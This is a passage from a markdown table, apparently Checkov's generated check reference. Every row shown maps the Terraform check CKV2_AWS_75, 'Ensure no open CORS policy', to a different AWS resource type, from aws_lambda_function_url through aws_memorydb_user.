[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2942 | CKV2_AWS_75     | resource | aws_lambda_function_recursion_config                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2943 | CKV2_AWS_75     | resource | aws_lambda_function_url                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2944 | CKV2_AWS_75     | resource | aws_lambda_invocation                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2945 | CKV2_AWS_75     | resource | aws_lambda_layer_version                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2946 | CKV2_AWS_75     | resource | aws_lambda_layer_version_permission                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2947 | CKV2_AWS_75     | resource | aws_lambda_permission                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2948 | CKV2_AWS_75     | resource | aws_lambda_provisioned_concurrency_config                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2949 | CKV2_AWS_75     | resource | aws_lambda_runtime_management_config                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2950 | CKV2_AWS_75     | resource | aws_launch_configuration                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2951 | CKV2_AWS_75     | resource | aws_launch_template                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2952 | CKV2_AWS_75     | resource | aws_lb                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2953 | CKV2_AWS_75     | resource | aws_lb_cookie_stickiness_policy                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2954 | CKV2_AWS_75     | resource | aws_lb_listener                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2955 | CKV2_AWS_75     | resource | aws_lb_listener_certificate                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2956 | CKV2_AWS_75     | resource | aws_lb_listener_rule                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2957 | CKV2_AWS_75     | resource | aws_lb_ssl_negotiation_policy                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2958 | CKV2_AWS_75     | resource | aws_lb_target_group                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2959 | CKV2_AWS_75     | resource | aws_lb_target_group_attachment                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2960 | CKV2_AWS_75     | resource | aws_lb_trust_store                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2961 | CKV2_AWS_75     | resource | aws_lb_trust_store_revocation                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2962 | CKV2_AWS_75     | resource | aws_lex_bot                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2963 | CKV2_AWS_75     | resource | aws_lex_bot_alias                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2964 | CKV2_AWS_75     | resource | aws_lex_intent                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2965 | CKV2_AWS_75     | resource | aws_lex_slot_type                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2966 | CKV2_AWS_75     | resource | aws_lexv2models_bot                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2967 | CKV2_AWS_75     | resource | aws_lexv2models_bot_locale                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2968 | CKV2_AWS_75     | resource | aws_lexv2models_bot_version                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2969 | CKV2_AWS_75     | resource | aws_lexv2models_intent                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2970 | CKV2_AWS_75     | resource | aws_lexv2models_slot                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2971 | CKV2_AWS_75     | resource | aws_lexv2models_slot_type                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2972 | CKV2_AWS_75     | resource | aws_licensemanager_association                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2973 | CKV2_AWS_75     | resource | aws_licensemanager_grant                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2974 | CKV2_AWS_75     | resource | aws_licensemanager_grant_accepter                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2975 | CKV2_AWS_75     | resource | aws_licensemanager_license_configuration                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2976 | CKV2_AWS_75     | resource | aws_lightsail_bucket                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2977 | CKV2_AWS_75     | resource | aws_lightsail_bucket_access_key                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2978 | CKV2_AWS_75     | resource | aws_lightsail_bucket_resource_access                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2979 | CKV2_AWS_75     | resource | aws_lightsail_certificate                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2980 | CKV2_AWS_75     | resource | aws_lightsail_container_service                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2981 | CKV2_AWS_75     | resource | aws_lightsail_container_service_deployment_version               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2982 | CKV2_AWS_75     | resource | aws_lightsail_database                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2983 | CKV2_AWS_75     | resource | aws_lightsail_disk                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2984 | CKV2_AWS_75     | resource | aws_lightsail_disk_attachment                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2985 | CKV2_AWS_75     | resource | aws_lightsail_distribution                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2986 | CKV2_AWS_75     | resource | aws_lightsail_domain                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2987 | CKV2_AWS_75     | resource | aws_lightsail_domain_entry                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2988 | CKV2_AWS_75     | resource | aws_lightsail_instance                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2989 | CKV2_AWS_75     | resource | aws_lightsail_instance_public_ports                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2990 | CKV2_AWS_75     | resource | aws_lightsail_key_pair                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2991 | CKV2_AWS_75     | resource | aws_lightsail_lb                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2992 | CKV2_AWS_75     | resource | aws_lightsail_lb_attachment                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2993 | CKV2_AWS_75     | resource | aws_lightsail_lb_certificate                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2994 | CKV2_AWS_75     | resource | aws_lightsail_lb_certificate_attachment                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2995 | CKV2_AWS_75     | resource | aws_lightsail_lb_https_redirection_policy                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2996 | CKV2_AWS_75     | resource | aws_lightsail_lb_stickiness_policy                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2997 | CKV2_AWS_75     | resource | aws_lightsail_static_ip                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2998 | CKV2_AWS_75     | resource | aws_lightsail_static_ip_attachment                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2999 | CKV2_AWS_75     | resource | aws_load_balancer_backend_server_policy                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3000 | CKV2_AWS_75     | resource | aws_load_balancer_listener_policy                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3001 | CKV2_AWS_75     | resource | aws_load_balancer_policy                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3002 | CKV2_AWS_75     | resource | aws_location_geofence_collection                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3003 | CKV2_AWS_75     | resource | aws_location_map                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3004 | CKV2_AWS_75     | resource | aws_location_place_index                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3005 | CKV2_AWS_75     | resource | aws_location_route_calculator                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3006 | CKV2_AWS_75     | resource | aws_location_tracker                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3007 | CKV2_AWS_75     | resource | aws_location_tracker_association                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3008 | CKV2_AWS_75     | resource | aws_m2_application                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3009 | CKV2_AWS_75     | resource | aws_m2_deployment                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3010 | CKV2_AWS_75     | resource | aws_m2_environment                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3011 | CKV2_AWS_75     | resource | aws_macie2_account                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3012 | CKV2_AWS_75     | resource | aws_macie2_classification_export_configuration                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3013 | CKV2_AWS_75     | resource | aws_macie2_classification_job                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3014 | CKV2_AWS_75     | resource | aws_macie2_custom_data_identifier                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3015 | CKV2_AWS_75     | resource | aws_macie2_findings_filter                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3016 | CKV2_AWS_75     | resource | aws_macie2_invitation_accepter                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3017 | CKV2_AWS_75     | resource | aws_macie2_member                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3018 | CKV2_AWS_75     | resource | aws_macie2_organization_admin_account                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3019 | CKV2_AWS_75     | resource | aws_macie_member_account_association                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3020 | CKV2_AWS_75     | resource | aws_macie_s3_bucket_association                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3021 | CKV2_AWS_75     | resource | aws_main_route_table_association                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3022 | CKV2_AWS_75     | resource | aws_media_convert_queue                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3023 | CKV2_AWS_75     | resource | aws_media_package_channel                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3024 | CKV2_AWS_75     | resource | aws_media_packagev2_channel_group                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3025 | CKV2_AWS_75     | resource | aws_media_store_container                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3026 | CKV2_AWS_75     | resource | aws_media_store_container_policy                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3027 | CKV2_AWS_75     | resource | aws_medialive_channel                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3028 | CKV2_AWS_75     | resource | aws_medialive_input                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3029 | CKV2_AWS_75     | resource | aws_medialive_input_security_group                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3030 | CKV2_AWS_75     | resource | aws_medialive_multiplex                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3031 | CKV2_AWS_75     | resource | aws_medialive_multiplex_program                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3032 | CKV2_AWS_75     | resource | aws_memorydb_acl                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3033 | CKV2_AWS_75     | resource | aws_memorydb_cluster                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3034 | CKV2_AWS_75     | resource | aws_memorydb_multi_region_cluster                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3035 | CKV2_AWS_75     | resource | aws_memorydb_parameter_group                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3036 | CKV2_AWS_75     | resource | aws_memorydb_snapshot                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3037 | CKV2_AWS_75     | resource | aws_memorydb_subnet_group                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3038 | CKV2_AWS_75     | resource | aws_memorydb_user                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | 